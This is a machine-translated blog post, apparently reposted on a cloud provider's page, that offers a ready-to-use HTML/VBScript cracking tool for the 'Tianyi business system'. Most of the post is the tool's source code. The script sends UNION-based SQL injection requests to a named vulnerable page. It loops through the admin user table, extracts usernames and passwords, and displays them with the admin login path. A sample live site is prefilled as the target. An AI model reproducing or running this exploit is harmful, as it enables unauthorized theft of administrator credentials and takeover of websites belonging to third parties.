Tianyi business system background management account cracking html

Source: Internet
Author: User
Since I wrote a program to crack the business system,
I have received emails from many friends,
Ask about Program Principles and how to protect them.
Today, I took some time and made this Html version, only this htm file is available.
I believe that anyone who has some knowledge about html and SQL Injection can understand it.
The principle is very simple. The SQL Injection method is used to crack the user account,
This system has the SQL injection vulnerability in many places,
Then you can easily find out the problem by downloading the system.
Previously, it was a Vc ++ version, and now it is an html version, but they are all the same,
The source file of the webpage is obtained through the http protocol.
Analyze the source file and find the user name and password.
And displayed.

The following figure shows the source code. You only need to save the file to a hard disk and name it ty.htm.

<meta http-equiv="Content-Type" content="text/html; charset=gb2312"><script language="VbScript">
Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
  ThisCharCode = AscB(MidB(vIn,i,1))
  If ThisCharCode < &H80 Then
   strReturn = strReturn & Chr(ThisCharCode)
  Else
   NextCharCode = AscB(MidB(vIn,i+1,1))
   strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
   i = i + 1
  End If
Next
bytes2BSTR = strReturn
End Function
Sub OpenUrl(strUrl) </p>
<p> strTmp = ""
strUser = "!"
strAAA =""
strCqq=""
i=0
On Error Resume Next
While Trim(strUser) <> ""
     strPara = "/wlyx/show_cgal.asp?newsid=1%20and%201=2%20union%20select%201,username%2b'***'%2bpassword,3,4,5,6%20from%20manage_user%20where %20username>'" + strUser + "'%20union%20select%20*%20from%20cgal%20where%201=2"
    Set xmlhttp = CreateObject("Microsoft.XMLHTTP")
     Xmlhttp.open "GET", (strUrl + strPara), false
     Xmlhttp.send
  strAAA=getMid(bytes2BSTR(xmlhttp.ResponseBody), "")
  If Trim(strAAA) <> "" Then
         Arr = Split(strAAA, "***")
         strUser = arr(0)
         strCqq = strCqq + vbNewLine + "username:" + strUser + vbNewLine + "password:" + arr(1) + vbNewLine + vbNewLine
     Else
         strUser = ""
     End If </p>
<p> //msgbox xmlhttp.Response
     Set xmlhttp = Nothing
Wend
If strCqq<>"" Then
  strCqq="cracked background management account is: (background default address: "+strUrl+"/admin)"+vbCrLF+VBCRLF+strCqq+vbnewline
     cqqadmin.innerText=strCqq
Else
  cqqadmin.innerText="Error"
End If </p>
<p>End Sub
Function getMid(str, str1, str2)
    Str11 = ""
    i = InStr(str, str1)
    If i > 0 Then
        j = InStr(i, str, str2)
        If j > 0 Then
            Str11 = Mid(str, i + Len(str1), j - i - Len(str1))
        End If
    End If
    getMid = str11
End Function
</script><br />
<style type="text/css">
<!--
Body,td,th {
Font-size: 9pt;
}
-->
</style>
<table width="600" border="1" align="center" cellpadding="2" cellspacing="0" bordercolor="#D4D4D4" bgcolor="#E4E4E4">
<tr>
<td width="39%">Tianyi business system background management account crack html version</td>
<td align="right">Powered By Steven_Cee Http://blog.csdn.net/cqq </td>
</tr>
</table>
<table width="600" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td>
<form name="frmCqq" method="post">
<input name="url" type="text" value="http://www.3shopok.net" size="44"><input type="button" name="submit" value="Submit" onclick= "vbscript:OpenUrl(window.frmCqq.url.value)"></form>
</td>
</tr>
</table>
<table width="600" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="20">
</td>
<td><span id="cqqadmin"></span></td>
</tr>
</table>
<table width="600" border="1" align="center" cellpadding="1" cellspacing="0" bordercolor="#E4E4E4" bgcolor="#E4E4E4">
<tr>
<td align="center">Help instructions, see </td>
</tr>
</table>
</p>
<p>

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.